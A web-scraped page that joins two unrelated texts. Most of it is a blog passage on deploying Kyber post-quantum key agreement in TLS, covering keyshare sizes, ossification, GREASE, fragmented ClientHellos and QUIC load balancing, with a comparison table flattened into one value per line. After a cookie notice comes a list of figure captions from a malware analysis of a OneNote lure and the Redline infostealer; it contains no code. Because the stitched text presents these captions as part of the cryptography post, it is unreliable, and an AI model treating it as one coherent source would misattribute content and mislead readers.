Kyber, for now, is the only key agreement that NIST has selected for standardization. Kyber is very light on the CPU: it is faster than X25519 which is already known for its speed. On the other hand, its keyshares are much bigger:
Size keyshares(in bytes)
Ops/sec (higher is better)
Algorithm
PQ
Client
Server
Client
Server
Kyber512
✅
800
768
50,000
100,000
Kyber768
✅
1,184
1,088
31,000
70,000
X25519
❌
32
32
17,000
17,000
Size and CPU performance compared between X25519 and Kyber. Performance varies considerably by hardware platform and implementation constraints and should be taken as a rough indication only.
Kyber is expected to change in minor, but backwards incompatible ways, before final standardization by NIST in 2024. Also, the integration with TLS, including the choice and details of the hybrid key agreement, are not yet finalized by the TLS working group. Once they are, we will adopt them promptly.
Because of this, we will not support the preliminary key agreements announced today for the long term; they’re provided as a beta service. We will post updates on our deployment on pq.cloudflareresearch.com and announce it on the IETF PQC mailing list.
Now that we know how TLS negotiation works in theory, and which key agreements we’re adding, how could it fail?
Where things might break in practice
Protocol ossification
Protocols are often designed with flexibility in mind, but if that flexibility is not exercised in practice, it’s often lost. This is called protocol ossification. The roll-out of TLS 1.3 was difficult because of several instances of ossification. One poignant example is TLS’ version negotiation: there is a version field in the ClientHello message that indicates the latest version supported by the client. A new version was assigned to TLS 1.3, but in testing it turned out that many servers would not fallback properly to TLS 1.2, but crash the connection instead. How do we deal with ossification?
Workaround
Today, TLS 1.3 masquerades itself as TLS 1.2 down to including many legacy fields in the ClientHello. The actual version negotiation is moved into a new extension to the message. A TLS 1.2 server will ignore the new extension and ignorantly continue with TLS 1.2, while a TLS 1.3 server picks up on the extension and continues with TLS 1.3 proper.
Protocol grease
How do we prevent ossification? Having learnt from this experience, browsers will regularly advertise dummy versions in this new version field, so that misbehaving servers are caught early on. This is not only done for the new version field, but in many other places in the TLS handshake, and presciently also for the key agreement identifiers. Today, 40% of browsers send two client keyshares: one X25519 and another a bogus 1-byte keyshare to keep key agreement flexibility.
This behavior is standardized in RFC 8701: Generate Random Extensions And Sustain Extensibility (GREASE) and we call it protocol greasing, as in “greasing the joints” from Adam Langley’s metaphor of protocols having rusty joints in need of oil.
This keyshare grease helps, but it is not perfect, because it is the size of the keyshare that in this case causes the most concern.
Fragmented ClientHello
Post-quantum keyshares are big. The two Kyber hybrids are 832 and 1,216 bytes. Compared to that, X25519 is tiny with only 32 bytes. It is not unlikely that some implementations will fail when seeing such large keyshares.
Our biggest concern is with the larger Kyber768 based keyshare. A ClientHello with the smaller 832 byte Kyber512-based keyshare will just barely fit in a typical network packet. On the other hand, the larger 1,216 byte Kyber768-keyshare will typically fragment the ClientHello into two packets.
Assembling packets together isn’t free: it requires you to keep track of the partial messages around. Usually this is done transparently by the operating system’s TCP stack, but optimized middleboxes and load balancers that look at each packet separately, have to (and might not) keep track of the connections themselves.
QUIC The situation for HTTP/3, which is built on QUIC, is particularly interesting. Instead of a simple port number chosen by the client (as in TCP), a QUIC packet from the client contains a connection ID that is chosen by the server. Think of it as “your reference” and “our reference” in snailmail. This allows a QUIC load-balancer to encode the particular machine handling the connection into the connection ID.
When opening a connection, the QUIC client doesn’t know which connection ID the server would like and sends a random one instead. If the client needs multiple initial packets, such as with a big ClientHello, then the client will use the same random connection ID. Even though multiple initial packets are allowed by the QUIC standard, a QUIC load balancer might not expect this, and won’t be able to refer to an underlying TCP connection.
Performance
Aside from these hard failures, soft failures, such as performance degradation are also of concern: if it’s too slow to load, a website might as well have been broken to begin with.
Back in 2019 in a joint experiment with Google, we deployed two post-quantum key agreements: CECPQ2, based on NTRU-HRSS, and CECPQ2b, based on SIKE. NTRU-HRSS is very similar to Kyber: it’s a bit larger and slower. Results from 2019 are very promising: X25519+NTRU-HRSS (orange line) is hard to distinguish from X25519 on its own (blue line).
We will continue to keep a close eye on performance, especially on the tail performance: we want a smooth transition for everyone, from the fastest to the slowest clients on the Internet.
How to help out
The Internet is a very heterogeneous system. To find all issues, we need sufficient numbers of diverse testers. We are working with browsers to add support for these key agreements, but there may not be one of these browsers in every network.
So, to help the Internet out, try and switch a small part of your traffic to Cloudflare domains to use these new key agreement methods. We have open-sourced forks for BoringSSL, Go and quic-go. For BoringSSL and Go, check out the sample code here. If you have any issues, please let us know at [email protected]. We will be discussing any issues and workarounds at the IETF TLS working group.
Outlook
The transition to a post-quantum secure Internet is urgent, but not without challenges. Today we have deployed a preliminary post-quantum key agreement on all our servers — a sizable portion of the Internet — so that we can all start testing the big migration today. We hope that come 2024, when NIST puts a bow on Kyber, we will all have laid the groundwork for a smooth transition to a Post-Quantum Internet.
….. 1We only support these post-quantum key agreements in protocols based on TLS 1.3 including HTTP/3. There is one exception: for the moment we disable these hybrid key exchanges for websites in FIPS-mode.
The collective thoughts of the interwebz
By continuing to use the site, you agree to the use of cookies. more information
The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.
Figure 1 – OneNote file "Remittance" displaying the button “Double Click to View File”
Figure 2 – Copy of Batch script 
Figure 3 – Beginning contents of 
Figure 4 – Base64 encoded data contained within 
Figure 5 – 
Figure 6 – Output after using 
Figure 7 – AES decryption via Cyberchef reveals MZ header
Figure 8 – dnSpy reveals name of original program 
Figure 9 – AES Decrypt Function 
Figure 10 – Using Cyberchef to replicate decryption of function 
Figure 11 – 
Figure 12 – 
Figure 13 – Function 
Figure 14 – Yara Signature identifying 
Figure 15 – Global variable 
Figure 16 – Global variable Key set with value 
Figure 17 – String.Decrypt being passed arguments 
Figure 18 – StringDecrypt utilizing XOR decryption
Figure 19 – Using XOR in Cyberchef to reveal value of argument 
Figure 20 – Redline Infostealer parsing for known Cryptocurrency wallet locations
